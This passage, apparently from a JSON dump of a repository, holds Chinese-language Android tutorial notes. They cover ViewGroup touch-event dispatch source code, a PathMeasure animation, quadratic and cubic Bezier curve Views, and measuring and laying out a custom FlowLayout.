getListenerInfo().mOnClickListener = l;\n}\n```\n　　\n\n> 只有我们注册OnTouchListener时重写的\n> onTouch()方法中\n> \n> 返回false  —> 执行onTouchEvent方法 —>  导致onClick()回调方法执行　\n> \n返回true —> onTouchEvent方法不执行 —>  导致onClick()回调方法不会执行\n\n \n# ４.ViewGroup源码分析\n\n　　Android中诸如LinearLayout等的五大布局控件，都是继承自ViewGroup，而ViewGroup本身是继承自View，所以ViewGroup的事件处理机制对这些控件都有效。\n\n　　\n部分源码：\n```\npublic boolean dispatchTouchEvent(MotionEvent ev) {  \n       final int action = ev.getAction();  \n       final float xf = ev.getX();  \n       final float yf = ev.getY();  \n       final float scrolledXFloat = xf + mScrollX;  \n       final float scrolledYFloat = yf + mScrollY;  \n       final Rect frame = mTempRect;  \n  \n       //这个值默认是false, 然后我们可以通过requestDisallowInterceptTouchEvent(boolean disallowIntercept)方法  \n       //来改变disallowIntercept的值  \n       boolean disallowIntercept = (mGroupFlags & FLAG_DISALLOW_INTERCEPT) != 0;  \n  \n       //这里是ACTION_DOWN的处理逻辑  \n       if (action == MotionEvent.ACTION_DOWN) {  \n        //清除mMotionTarget, 每次ACTION_DOWN都很设置mMotionTarget为null  \n           if (mMotionTarget != null) {  \n               mMotionTarget = null;  \n           }  \n  \n           //disallowIntercept默认是false, 就看ViewGroup的onInterceptTouchEvent()方法  \n           if (disallowIntercept || !onInterceptTouchEvent(ev)) {  //第一点\n               ev.setAction(MotionEvent.ACTION_DOWN);  \n               final int scrolledXInt = (int) scrolledXFloat;  \n               final int scrolledYInt = (int) scrolledYFloat;  \n               final View[] children = mChildren;  \n               final int count = mChildrenCount;  \n               //遍历其子View  \n               for (int i = count - 1; i >= 0; i--) {  //第二点\n                   final View child = children[i];  \n                     \n                   //如果该子View是VISIBLE或者该子View正在执行动画, 表示该View才  \n                   //可以接受到Touch事件  \n                   if ((child.mViewFlags & VISIBILITY_MASK) == VISIBLE  \n                           || child.getAnimation() != null) {  \n                    //获取子View的位置范围  \n                       child.getHitRect(frame);  \n                         \n                       //如Touch到屏幕上的点在该子View上面  \n                       if (frame.contains(scrolledXInt, scrolledYInt)) {  \n                           // offset the event to the view's coordinate system  \n                           final float xc = scrolledXFloat - child.mLeft;  \n                           final float yc = scrolledYFloat - child.mTop;  \n                           ev.setLocation(xc, yc);  \n                           child.mPrivateFlags &= ~CANCEL_NEXT_UP_EVENT;  \n                             \n                           //调用该子View的dispatchTouchEvent()方法  \n                           if (child.dispatchTouchEvent(ev))  {  \n                               // 如果child.dispatchTouchEvent(ev)返回true表示  \n                            //该事件被消费了，设置mMotionTarget为该子View  \n                               mMotionTarget = child;  \n                               //直接返回true  \n                               return true;  \n                           }  \n                           // The event didn't get handled, try the next view.  \n                           // Don't reset the event's location, it's not  \n                           // necessary here.  \n                       }  \n                   }  \n               }  \n           }  \n       }  \n  \n       //判断是否为ACTION_UP或者ACTION_CANCEL  \n       boolean isUpOrCancel = (action == MotionEvent.ACTION_UP) ||  \n               (action == MotionEvent.ACTION_CANCEL);  \n  \n       if (isUpOrCancel) {  \n           //如果是ACTION_UP或者ACTION_CANCEL, 将disallowIntercept设置为默认的false  \n        //假如我们调用了requestDisallowInterceptTouchEvent()方法来设置disallowIntercept为true  \n        //当我们抬起手指或者取消Touch事件的时候要将disallowIntercept重置为false  \n        //所以说上面的disallowIntercept默认在我们每次ACTION_DOWN的时候都是false  \n           mGroupFlags &= ~FLAG_DISALLOW_INTERCEPT;  \n       }  \n  \n       // The event wasn't an ACTION_DOWN, dispatch it to our target if  \n       // we have one.  \n       final View target = mMotionTarget;  \n       //mMotionTarget为null意味着没有找到消费Touch事件的View, 所以我们需要调用ViewGroup父类的  \n       //dispatchTouchEvent()方法，也就是View的dispatchTouchEvent()方法  \n       if (target == null) {  \n           // We don't have a target, this means we're handling the  \n           // event as a regular view.  \n           ev.setLocation(xf, yf);  \n           if ((mPrivateFlags & CANCEL_NEXT_UP_EVENT) != 0) {  \n               ev.setAction(MotionEvent.ACTION_CANCEL);  \n               mPrivateFlags &= ~CANCEL_NEXT_UP_EVENT;  \n           }  \n           return super.dispatchTouchEvent(ev);  \n       }  \n  \n       //这个if里面的代码ACTION_DOWN不会执行，只有ACTION_MOVE  \n       //ACTION_UP才会走到这里, 假如在ACTION_MOVE或者ACTION_UP拦截的  \n       //Touch事件, 将ACTION_CANCEL派发给target，然后直接返回true  \n       //表示消费了此Touch事件  \n       if (!disallowIntercept && onInterceptTouchEvent(ev)) {  \n           final float xc = scrolledXFloat - (float) target.mLeft;  \n           final float yc = scrolledYFloat - (float) target.mTop;  \n           mPrivateFlags &= ~CANCEL_NEXT_UP_EVENT;  \n           ev.setAction(MotionEvent.ACTION_CANCEL);  \n           ev.setLocation(xc, yc);  \n             \n           if (!target.dispatchTouchEvent(ev)) {  \n           }  \n           // clear the target  \n           mMotionTarget = null;  \n           // Don't dispatch this event to our own view, because we already  \n           // saw it when intercepting; we just want to give the following  \n           // event to the normal onTouchEvent().  \n           return true;  \n       }  \n  \n       if (isUpOrCancel) {  \n           mMotionTarget = null;  \n       }  \n  \n       // finally offset the event to the target's coordinate system and  \n       // dispatch the event.  \n       final float xc = scrolledXFloat - (float) target.mLeft;  \n       final float yc = scrolledYFloat - (float) target.mTop;  \n       ev.setLocation(xc, yc);  \n  \n       if ((target.mPrivateFlags & CANCEL_NEXT_UP_EVENT) != 0) {  \n           ev.setAction(MotionEvent.ACTION_CANCEL);  \n           target.mPrivateFlags &= ~CANCEL_NEXT_UP_EVENT;  \n           mMotionTarget = null;  \n       }  \n  \n       //如果没有拦截ACTION_MOVE, ACTION_DOWN的话，直接将Touch事件派发给target  \n       return target.dispatchTouchEvent(ev);  \n   }\n```\n\n> 1、dispatchTouchEvent作用：决定事件是否由onInterceptTouchEvent来拦截处理。\n返回super.dispatchTouchEvent时，由onInterceptTouchEvent来决定事件的流向\n返回false时，会继续分发事件，自己内部只处理了ACTION_DOWN\n返回true时，不会继续分发事件，自己内部处理了所有事件（ACTION_DOWN,ACTION_MOVE,ACTION_UP）\n \n> 2、onInterceptTouchEvent作用：拦截事件，用来决定事件是否传向子View\n返回true时，拦截后交给自己的onTouchEvent处理\n返回false时，拦截后交给子View来处理\n \n> 3、onTouchEvent作用：事件最终到达这个方法\n返回true时，内部处理所有的事件，换句话说，后续事件将继续传递给该view的onTouchEvent()处理\n返回false时，事件会向上传递，由onToucEvent来接受，如果最上面View中的onTouchEvent也返回false的话，那么事件就会消失\n\n　　\n# ５.总结\n\n - 如果ViewGroup找到了能够处理该事件的View，则直接交给子View处理，自己的onTouchEvent不会被触发；　\n \n - 可以通过复写onInterceptTouchEvent(ev)方法，拦截子View的事件（即return true），把事件交给自己处理，则会执行自己对应的onTouchEvent方法。\n - 子View可以通过调用getParent().requestDisallowInterceptTouchEvent(true);  阻止ViewGroup对其MOVE或者UP事件进行拦截；　　\n \n - 一个点击事件产生后，它的传递过程如下：\n Activity->Window->View。顶级View接收到事件之后，就会按相应规则去分发事件。如果一个View的onTouchEvent方法返回false，那么将会交给父容器的onTouchEvent方法进行处理，逐级往上，如果所有的View都不处理该事件，则交由Activity的onTouchEvent进行处理。　\n \n - 如果某一个View开始处理事件，如果他不消耗ACTION_DOWN事件（也就是onTouchEvent返回false），则同一事件序列比如接下来进行ACTION_MOVE，则不会再交给该View处理。\n \n - ViewGroup默认不拦截任何事件。　\n \n - 诸如TextView、ImageView这些不作为容器的View，一旦接受到事件，就调用onTouchEvent方法，它们本身没有onInterceptTouchEvent方法。正常情况下，它们都会消耗事件（返回true），除非它们是不可点击的（clickable和longClickable都为false），那么就会交由父容器的onTouchEvent处理。　\n \n - 点击事件分发过程如下 dispatchTouchEvent—->OnTouchListener的onTouch方法—->onTouchEvent-->OnClickListener的onClick方法。也就是说，我们平时调用的setOnClickListener，优先级是最低的，所以，onTouchEvent或OnTouchListener的onTouch方法如果返回true，则不响应onClick方法...\n\n \n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/PathMeasure.md",
    "content": "# PathMeasure\n\nPathMeasure是一个测量Path的路径的一个方法，我们今天的demo就是要做这样一个小东西，它会反复测量，运动的路径，并且沿着路径运行。\n\n效果图：\n\n![](https://ws3.sinaimg.cn/large/006tNc79ly1fh3i8c4k9ag309q0gagp9.gif)\n\n实现的具体思路，就是，采用一个循环，反复的调用画图的方法，然后每当满一周之后，清零，再重新开始，为什么能沿着切线运动呢，是调用了一个参数，动态测量这个tan值。\n\n代码：\n\n```\npublic class CustomView extends View {\n\n    private float currentValue = 0;     // 用于纪录当前的位置,取值范围[0,1]映射Path的整个长度\n\n    private float[] pos;                // 当前点的实际位置\n    private float[] tan;                // 当前点的tangent值,用于计算图片所需旋转的角度\n    private Bitmap mBitmap;             // 箭头图片\n    private Matrix mMatrix;             // 矩阵,用于对图片进行一些操作\n\n    private Paint mPaint;\n\n    private int mViewWidth;\n    private int mViewHeight;\n\n    public CustomView(Context context) {\n        this(context, null);\n    }\n\n    public CustomView(Context context, @Nullable AttributeSet attrs) {\n        super(context, attrs);\n        init(context);\n        mPaint = new Paint();\n        mPaint.setColor(Color.BLACK);\n        mPaint.setStrokeWidth(8);\n        mPaint.setStyle(Paint.Style.STROKE);\n        mPaint.setTextSize(60);\n\n\n    }\n\n    private void init(Context context) {\n        pos = new float[2];\n        tan = new float[2];\n        BitmapFactory.Options options = new BitmapFactory.Options();\n        options.inSampleSize = 15;       // 缩放图片\n        mBitmap = BitmapFactory.decodeResource(context.getResources(), R.drawable.arrowhead, options);\n        mMatrix = new Matrix();\n    }\n\n\n    @Override\n    protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n        super.onSizeChanged(w, h, oldw, oldh);\n        mViewHeight = h;\n        mViewWidth = w;\n\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        canvas.translate(mViewWidth / 2, mViewHeight / 2);      // 平移坐标系\n\n        Path path = new Path();                                 // 创建 Path\n\n        path.addCircle(0, 0, 200, Path.Direction.CW);           // 添加一个圆形\n\n        PathMeasure measure = new PathMeasure(path, false);     // 创建 PathMeasure\n\n        currentValue += 0.005;                                  // 计算当前的位置在总长度上的比例[0,1]\n        if (currentValue >= 1) {\n            currentValue = 0;\n        }\n\n        measure.getPosTan(measure.getLength() * currentValue, pos, tan);        // 获取当前位置的坐标以及趋势\n\n        mMatrix.reset();                                                        // 重置Matrix\n        float degrees = (float) (Math.atan2(tan[1], tan[0]) * 180.0 / Math.PI); // 计算图片旋转角度\n\n        mMatrix.postRotate(degrees, mBitmap.getWidth() / 2, mBitmap.getHeight() / 2);   // 旋转图片\n        mMatrix.postTranslate(pos[0] - mBitmap.getWidth() / 2, pos[1] - mBitmap.getHeight() / 2);   // 将图片绘制中心调整到与当前点重合\n\n        canvas.drawPath(path, mPaint);                                   // 绘制 Path\n        canvas.drawBitmap(mBitmap, mMatrix, mPaint);                     // 绘制箭头\n\n        invalidate();\n    }\n\n}\n\n```\n\n代码地址：https://github.com/linsir6/mCustomView/tree/master/TestPathMeasure"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/三阶贝塞尔曲线.md",
    "content": "# 三阶贝塞尔曲线\n\n如果您对贝塞尔曲线还不是很了解的话，可以看一下[二阶贝塞尔曲线](https://github.com/linsir6/AndroidNote/blob/master/Android%E8%87%AA%E5%AE%9A%E4%B9%89View/%E4%BA%8C%E9%98%B6%E8%B4%9D%E5%A1%9E%E5%B0%94%E6%9B%B2%E7%BA%BF.md)，下面我们看一下三阶曲线的效果图：\n\n\n\n![bezier3](https://ws4.sinaimg.cn/large/006tKfTcly1fgwiac2u2qg308u0gm7nz.gif)\n\n\n\n\n\n实现的思路和二阶的几乎一样，只是换了个函数，加了个控制点。\n\n\n\n代码：\n\n\n\n```java\npublic class Bezier3 extends View {\n\n\n    private Paint mPaint;\n    private int centerX, centerY;\n\n    private PointF start, end, control1, control2;\n    private boolean mode = true;\n\n    public Bezier3(Context context) {\n        this(context, null);\n\n    }\n\n    public Bezier3(Context context, AttributeSet attrs) {\n        super(context, attrs);\n\n        mPaint = new Paint();\n        mPaint.setColor(Color.BLACK);\n        mPaint.setStrokeWidth(8);\n        mPaint.setStyle(Paint.Style.STROKE);\n        mPaint.setTextSize(60);\n\n        start = new PointF(0, 0);\n        end = new PointF(0, 0);\n        control1 = new PointF(0, 0);\n        control2 = new PointF(0, 0);\n    }\n\n    public void setMode(boolean mode) {\n        this.mode = mode;\n    }\n\n    @Override\n    protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n        super.onSizeChanged(w, h, oldw, oldh);\n        centerX = w / 2;\n        centerY = h / 2;\n\n        // 初始化数据点和控制点的位置\n        start.x = centerX - 200;\n        start.y = centerY;\n        end.x = centerX + 200;\n        end.y = centerY;\n        control1.x = centerX;\n        control1.y = centerY - 100;\n        control2.x = centerX;\n        control2.y = centerY - 100;\n\n    }\n\n    @Override\n    public boolean onTouchEvent(MotionEvent event) {\n        // 根据触摸位置更新控制点，并提示重绘\n        if (mode) {\n            control1.x = event.getX();\n            control1.y = event.getY();\n        } else {\n            control2.x = event.getX();\n            control2.y = event.getY();\n        }\n        invalidate();\n        return true;\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n        //drawCoordinateSystem(canvas);\n\n        // 绘制数据点和控制点\n        mPaint.setColor(Color.GRAY);\n        mPaint.setStrokeWidth(20);\n        canvas.drawPoint(start.x, start.y, mPaint);\n        canvas.drawPoint(end.x, end.y, mPaint);\n        canvas.drawPoint(control1.x, control1.y, mPaint);\n        canvas.drawPoint(control2.x, control2.y, mPaint);\n\n        // 绘制辅助线\n        mPaint.setStrokeWidth(4);\n        canvas.drawLine(start.x, start.y, control1.x, control1.y, mPaint);\n        canvas.drawLine(control1.x, control1.y, control2.x, control2.y, mPaint);\n        canvas.drawLine(control2.x, control2.y, end.x, end.y, mPaint);\n\n        // 绘制贝塞尔曲线\n        mPaint.setColor(Color.RED);\n        mPaint.setStrokeWidth(8);\n\n        Path path = new Path();\n\n        path.moveTo(start.x, start.y);\n        path.cubicTo(control1.x, control1.y, control2.x, control2.y, end.x, end.y);\n\n        canvas.drawPath(path, mPaint);\n    }\n\n\n}\n\n```\n\n\n[代码地址](https://github.com/linsir6/mCustomView/tree/master/Bezier3)：https://github.com/linsir6/mCustomView/tree/master/Bezier3\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/二阶贝塞尔曲线.md",
    "content": "# 二次贝塞尔曲线\n\n\n\n> 声明：本文为作者学习，自定义View系列教程的笔记，自定义View是由GcsSloop原创，它的GitHub地址为：https://github.com/GcsSloop\n>\n> 教程地址为：https://github.com/GcsSloop/AndroidNote/blob/master/CustomView/Advance/%5B06%5DPath_Bezier.md\n\n## 贝塞尔曲线简介\n\n\n\n贝塞尔曲线(Bézier curve)，又称[贝兹](http://baike.baidu.com/item/%E8%B4%9D%E5%85%B9)曲线或贝济埃曲线，是应用于二维图形应用程序的数学曲线。一般的矢量图形软件通过它来精确画出曲线，贝兹曲线由[线段](http://baike.baidu.com/item/%E7%BA%BF%E6%AE%B5)与[节点](http://baike.baidu.com/item/%E8%8A%82%E7%82%B9)组成，节点是可拖动的支点，线段像可伸缩的皮筋，我们在绘图工具上看到的钢笔工具就是来做这种矢量曲线的。贝塞尔曲线是计算机图形学中相当重要的参数曲线，在一些比较成熟的位图软件中也有贝塞尔[曲线工具](http://baike.baidu.com/item/%E6%9B%B2%E7%BA%BF%E5%B7%A5%E5%85%B7)，如PhotoShop等。在Flash4中还没有完整的曲线工具，而在Flash5里面已经提供出贝塞尔曲线工具。\n\n贝塞尔曲线于1962，由法国工程师皮埃尔·贝塞尔（Pierre Bézier）所广泛发表，他运用贝塞尔曲线来为汽车的主体进行设计。贝塞尔曲线最初由Paul de Casteljau于1959年运用de Casteljau演算法开发，以稳定数值的方法求出贝兹曲线。\n\n以上内容从采取自百度百科\n\n贝塞尔曲线目前被广泛应用于计算机制图中，可以说贝塞尔曲线奠定了计算机制图的基础。\n\n\n\n# Android中绘制Path的API\n\n\n\nAndroid中绘制Path常用方法：\n\n以下方法转载至GcsSloop的自定义View系列教程：https://github.com/GcsSloop/AndroidNote/tree/master/CustomView/README.md\n\n\n\n| 作用          | 相关方法                                     | 备注                                       |\n| ----------- | ---------------------------------------- | ---------------------------------------- |\n| 移动起点        | moveTo                                   | 移动下一次操作的起点位置                             |\n| 设置终点        | setLastPoint                             | 重置当前path中最后一个点位置，如果在绘制之前调用，效果和moveTo相同   |\n| 连接直线        | lineTo                                   | 添加上一个点到当前点之间的直线到Path                     |\n| 闭合路径        | close                                    | 连接第一个点连接到最后一个点，形成一个闭合区域                  |\n| 添加内容        | addRect, addRoundRect,  addOval, addCircle, \taddPath, addArc, arcTo | 添加(矩形， 圆角矩形， 椭圆， 圆， 路径， 圆弧) 到当前Path (注意addArc和arcTo的区别) |\n| 是否为空        | isEmpty                                  | 判断Path是否为空                               |\n| 是否为矩形       | isRect                                   | 判断path是否是一个矩形                            |\n| 替换路径        | set                                      | 用新的路径替换到当前路径所有内容                         |\n| 偏移路径        | offset                                   | 对当前路径之前的操作进行偏移(不会影响之后的操作)                |\n| 贝塞尔曲线       | quadTo, cubicTo                          | 分别为二次和三次贝塞尔曲线的方法                         |\n| rXxx方法      | rMoveTo, rLineTo, rQuadTo, rCubicTo      | **不带r的方法是基于原点的坐标系(偏移量)， rXxx方法是基于当前点坐标系(偏移量)** |\n| 填充模式        | setFillType, getFillType, isInverseFillType, toggleInverseFillType | 设置,获取,判断和切换填充模式                          |\n| 提示方法        | incReserve                               | 提示Path还有多少个点等待加入**(这个方法貌似会让Path优化存储结构)** |\n| 布尔操作(API19) | op                                       | 对两个Path进行布尔运算(即取交集、并集等操作)                |\n| 计算边界        | computeBounds                            | 计算Path的边界                                |\n| 重置路径        | reset, rewind                            | 清除Path中的内容<br/> **reset不保留内部数据结构，但会保留FillType.**<br/> **rewind会保留内部的数据结构，但不保留FillType** |\n| 矩阵操作        | transform                                | 矩阵变换                                     |\n\n\n\n贝塞尔曲线应用简单场景：\n\n- QQ小红点拖拽效果\n- 平滑的折线图的制作\n- 阅读软件的翻书效果\n\n\n\n## 绘制贝塞尔曲线\n\n\n\n### 一阶贝塞尔曲线\n\n\n\n一阶贝塞尔曲线的原理就是一条直线，其实就是直接画了一个Path出来，在这里不做过多的介绍，本文主要介绍的是二阶的贝塞尔曲线。\n\n\n\n### 二阶贝塞尔曲线\n\n\n\n二阶贝塞尔曲线效果图：\n\n![bezier](https://ws2.sinaimg.cn/large/006tKfTcly1fgw7fga6nkg30ay0h27iz.gif)\n\n\n\n\n\n### 实现原理\n\n二阶曲线由两个数据点(A 和 C)，一个控制点(B)来描述曲线状态，大致如下：\n\n![](http://ww3.sinaimg.cn/large/005Xtdi2jw1f35p4913k7j308c0dw74d.jpg)\n\n上图中红色曲线部分就是传说中的二阶贝塞尔曲线，那么这条红色曲线是如何生成的呢？接下来我们就以其中的一个状态分析一下：\n\n![](http://ww4.sinaimg.cn/large/005Xtdi2jw1f361bjqj2vj308c0dwwem.jpg)\n\n连接AB BC，并在AB上取点D，BC上取点E，使其满足条件：\n<img src=\"http://chart.googleapis.com/chart?cht=tx&chl=%5Cfrac%7BAD%7D%7BAB%7D%20%3D%20%5Cfrac%7BBE%7D%7BBC%7D\" style=\"border:none;\" />\n\n![](http://ww2.sinaimg.cn/large/005Xtdi2jw1f361oje6h1j308c0dwdg0.jpg)\n\n连接DE，取点F，使得: \n\n``AD／AB = BE／BC = DF／DE``\n\n\n\n这样获取到的点F就是贝塞尔曲线上的一个点，动态过程如下：\n\n![](https://upload.wikimedia.org/wikipedia/commons/3/3d/B%C3%A9zier_2_big.gif)\n\n\n\n### 实现代码\n\n\n\n```java\npublic class Bezier2 extends View {\n\n    private Paint mPaint;\n    private int centerX, centerY;\n\n    private PointF start, end, control;\n\n    public Bezier2(Context context) {\n        super(context);\n        mPaint = new Paint();\n        mPaint.setColor(Color.BLACK);\n        mPaint.setStrokeWidth(8);\n        mPaint.setStyle(Paint.Style.STROKE);\n        mPaint.setTextSize(60);\n\n        start = new PointF(0,0);\n        end = new PointF(0,0);\n        control = new PointF(0,0);\n    }\n\n\n    public Bezier2(Context context, @Nullable AttributeSet attrs) {\n        super(context, attrs);\n        mPaint = new Paint();\n        mPaint.setColor(Color.BLACK);\n        mPaint.setStrokeWidth(8);\n        mPaint.setStyle(Paint.Style.STROKE);\n        mPaint.setTextSize(60);\n\n        start = new PointF(0,0);\n        end = new PointF(0,0);\n        control = new PointF(0,0);\n    }\n\n    @Override\n    protected void onSizeChanged(int w, int h, int oldw, int oldh) {\n        super.onSizeChanged(w, h, oldw, oldh);\n        centerX = w/2;\n        centerY = h/2;\n\n        // 初始化数据点和控制点的位置\n        start.x = centerX-200;\n        start.y = centerY;\n        end.x = centerX+200;\n        end.y = centerY;\n        control.x = centerX;\n        control.y = centerY-100;\n    }\n\n    @Override\n    public boolean onTouchEvent(MotionEvent event) {\n        // 根据触摸位置更新控制点，并提示重绘\n        control.x = event.getX();\n        control.y = event.getY();\n        invalidate();\n        return true;\n    }\n\n    @Override\n    protected void onDraw(Canvas canvas) {\n        super.onDraw(canvas);\n\n        // 绘制数据点和控制点\n        mPaint.setColor(Color.GRAY);\n        mPaint.setStrokeWidth(20);\n        canvas.drawPoint(start.x,start.y,mPaint);\n        canvas.drawPoint(end.x,end.y,mPaint);\n        canvas.drawPoint(control.x,control.y,mPaint);\n\n        // 绘制辅助线\n        mPaint.setStrokeWidth(4);\n        canvas.drawLine(start.x,start.y,control.x,control.y,mPaint);\n        canvas.drawLine(end.x,end.y,control.x,control.y,mPaint);\n\n        // 绘制贝塞尔曲线\n        mPaint.setColor(Color.RED);\n        mPaint.setStrokeWidth(8);\n\n        Path path = new Path();\n\n        path.moveTo(start.x,start.y);\n        path.quadTo(control.x,control.y,end.x,end.y);\n\n        canvas.drawPath(path, mPaint);\n    }\n}\n\n```\n\n\n\n代码地址：https://github.com/linsir6/mCustomView/tree/master/Bezier\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
  },
  {
    "path": "docs/android/AndroidNote/Android自定义View/自定义ViewGroup入门.md",
    "content": "\n>　　 对自定义view还不是很了解的码友可以先看[自定义View入门](http://blog.csdn.net/Amazing7/article/details/51303289)这篇文章，本文主要对自定义ViewGroup的过程的梳理，废话不多说。\n\n# 1.View 绘制流程\n\n　　ViewGroup也是继承于View，下面看看绘制过程中依次会调用哪些函数。\n\n 　![绘制过程](http://img.blog.csdn.net/20160617180933525)\n\n说明：\n\n - ``measure()``和``onMeasure()``\n\n　　在``View.Java``源码中：\n　　\n　　\n\n```\npublic final void measure(int widthMeasureSpec,int heightMeasureSpec){\n\n  ···\nonMeasure\n  ···\n\n}\n\nprotected void onMeasure(int widthMeasureSpec,int heightMeasureSpec) {\n        setMeasuredDimension(getDefaultSize(getSuggestedMinimumWidth(), widthMeasureSpec),\n        getDefaultSize(getSuggestedMinimumHeight(), heightMeasureSpec));\n}\n\n\n```\n\n\n\n\n\n\n　　可以看出measure()是被final修饰的，这是不可被重写。onMeasure在measure方法中调用的，当我们继承View的时候通过重写onMeasure方法来测量控件大小。\n\n 　　layout()和onLayout(),draw()和onDraw()类似。\n\n - dispatchDraw()\n\n　　View 中这个函数是一个空函数，ViewGroup 复写了dispatchDraw()来对其子视图进行绘制。自定义的 ViewGroup 一般不对dispatchDraw()进行复写。\n\n - requestLayout()\n\n　　当布局变化的时候，比如方向变化，尺寸的变化，会调用该方法，在自定义的视图中，如果某些情况下希望重新测量尺寸大小，应该手动去调用该方法，它会触发measure()和layout()过程，但不会进行 draw。\n\n\n自定义ViewGroup的时候一般复写\n\n> onMeasure()方法：\n> \n　　计算childView的测量值以及模式，以及设置自己的宽和高　\n　　\n>onLayout()方法，\n\n>　对其所有childView的位置进行定位\n\nView树：\n\n![这里写图片描述](http://img.blog.csdn.net/20160617181010906)\n\n　树的遍历是有序的，由父视图到子视图，每一个 ViewGroup 负责测绘它所有的子视图，而最底层的 View 会负责测绘自身。\n\n - **measure：**\n\n　　自上而下进行遍历，根据父视图对子视图的MeasureSpec以及ChildView自身的参数，通过　　\n　　\n\n```\ngetChildMeasureSpec(parentHeightMeasure,mPaddingTop+mPaddingBottom，lp.height)\n```\n\n　　获取ChildView的MeasureSpec，回调ChildView.measure最终调用setMeasuredDimension得到ChildView的尺寸：\n\n\n```\nmMeasuredWidth 和 mMeasuredHeight\n```\n\n - **Layout ：** \n\n　　　也是自上而下进行遍历的，该方法计算每个ChildView的ChildLeft,ChildTop；与measure中得到的每个ChildView的mMeasuredWidth 和 mMeasuredHeight，来对ChildView进行布局。\n　　　\n\n```\nchild.layout(left,top,left+width,top+height)\n```\n\n\n# ２.onMeasure过程\n\n　　measure过程会为一个View及所有子节点的mMeasuredWidth \n和mMeasuredHeight变量赋值，该值可以通过getMeasuredWidth()和getMeasuredHeight()方法获得。\n\n**onMeasure过程传递尺寸的两个类：**\n\n - **ViewGroup.LayoutParams** （ViewGroup 自身的布局参数）\n\n　　用来指定视图的高度和宽度等参数，使用 view.getLayoutParams() 方法获取一个视图LayoutParams，该方法得到的就是其所在父视图类型的LayoutParams，比如View的父控件为RelativeLayout，那么得到的 LayoutParams 类型就为RelativeLayoutParams。\n\n\n> ①具体值 　\n> \n②MATCH_PARENT 表示子视图希望和父视图一样大(不包含 padding 值) 　\n>\n③WRAP_CONTENT 表示视图为正好能包裹其内容大小(包含 padding 值) \n　　\n\n - **MeasureSpecs**\n\n　　测量规格，包含测量要求和尺寸的信息，有三种模式:\n\n\n\n> ①UNSPECIFIED\n> \n　　父视图不对子视图有任何约束，它可以达到所期望的任意尺寸。比如 ListView、ScrollView，一般自定义 View 中用不到 \n 　　 \n> ②EXACTLY　\n> \n　　父视图为子视图指定一个确切的尺寸，而且无论子视图期望多大，它都必须在该指定大小的边界内，对应的属性为 match_parent 或具体值，比如 100dp，父控件可以通过MeasureSpec.getSize(measureSpec)直接得到子控件的尺寸。\n\n> ③AT_MOST　\n> \n　　 父视图为子视图指定一个最大尺寸。子视图必须确保它自己所有子视图可以适应在该尺寸范围内，对应的属性为 wrap_content，这种模式下，父控件无法确定子 View 的尺寸，只能由子控件自己根据需求去计算自己的尺寸，这种模式就是我们自定义视图需要实现测量逻辑的情况。　\n\n# ３.onLayout 过程\n\n 　　子视图的具体位置都是相对于父视图而言的。View 的 onLayout 方法为空实现，而 ViewGroup 的 onLayout 为 abstract 的，因此，如果自定义的自定义ViewGroup 时，必须实现 onLayout 函数。 \n 　　 \n 　　在 layout 过程中，子视图会调用getMeasuredWidth()和getMeasuredHeight()方法获取到 measure 过程得到的 mMeasuredWidth 和 mMeasuredHeight，作为自己的 width 和 height。然后调用每一个子视图的layout(l, t, r, b)函数，来确定每个子视图在父视图中的位置。\n\n# 4.示例程序\n\n先上效果图：\n\n![这里写图片描述](http://img.blog.csdn.net/20160617215723283)\n\n代码中有详细的注释，结合上文中的说明，理解应该没有问题。这里主要贴出核心代码。\n\nFlowLayout.java中(参照阳神的慕课课程)\n\n> onMeasure方法\n\n```\n @Override\n    protected void onMeasure(int widthMeasureSpec, int heightMeasureSpec)\n    {\n        // 获得它的父容器为它设置的测量模式和大小\n        int sizeWidth = MeasureSpec.getSize(widthMeasureSpec);\n        int modeWidth = MeasureSpec.getMode(widthMeasureSpec);\n        int sizeHeight = MeasureSpec.getSize(heightMeasureSpec);\n        int modeHeight = MeasureSpec.getMode(heightMeasureSpec);\n\n        // 用于warp_content情况下，来记录父view宽和高\n        int width = 0;\n        int height = 0;\n\n        // 取每一行宽度的最大值\n        int lineWidth = 0;\n        // 每一行的高度累加\n        int lineHeight = 0;\n\n        // 获得子view的个数\n        int cCount = getChildCount();\n\n        for (int i = 0; i < cCount; i++)\n        {\n            View child = getChildAt(i);\n            // 测量子View的宽和高（子view在布局文件中是wrap_content）\n            measureChild(child, widthMeasureSpec, heightMeasureSpec);\n            // 得到LayoutParams\n            MarginLayoutParams lp = (MarginLayoutParams) child.getLayoutParams();\n\n            // 根据测量宽度加上Margin值算出子view的实际宽度（上文中有说明）\n            int childWidth = child.getMeasuredWidth() + lp.leftMargin + lp.rightMargin;\n            // 根据测量高度加上Margin值算出子view的实际高度\n            int childHeight = child.getMeasuredHeight() + lp.topMargin+ lp.bottomMargin;\n\n            // 这里的父view是有padding值的，如果再添加一个元素就超出最大宽度就换行\n            if (lineWidth + childWidth > sizeWidth - getPaddingLeft() - getPaddingRight())\n            {\n                // 父view宽度=以前父view宽度、当前行宽的最大值\n                width = Math.max(width, lineWidth);\n                // 换行了，当前行宽=第一个view的宽度\n                lineWidth = childWidth;\n                // 父view的高度=各行高度之和\n                height += lineHeight;\n                //换行了，当前行高=第一个view的高度\n                lineHeight = childHeight;\n            } else{\n                // 叠加行宽\n                lineWidth += childWidth;\n                // 得到当前行最大的高度\n                lineHeight = Math.max(lineHeight, childHeight);\n            }\n            // 最后一个控件\n            if (i == cCount - 1)\n            {\n                width = Math.max(lineWidth, width);\n                height += lineHeight;\n            }\n        }\n        /**\n         * EXACTLY对应match_parent 或具体值\n         * AT_MOST对应wrap_content\n         * 在FlowLayout布局文件中\n         * android:layout_width=\"fill_parent\"\n         * android:layout_height=\"wrap_content\"\n         *\n         * 如果是MeasureSpec.EXACTLY则直接使用父ViewGroup传入的宽和高，否则设置为自己计算的宽和高。\n         */\n        setMeasuredDimension(\n                modeWidth == MeasureSpec.EXACTLY ? sizeWidth : width + getPaddingLeft() + getPaddingRight(),\n                modeHeight == 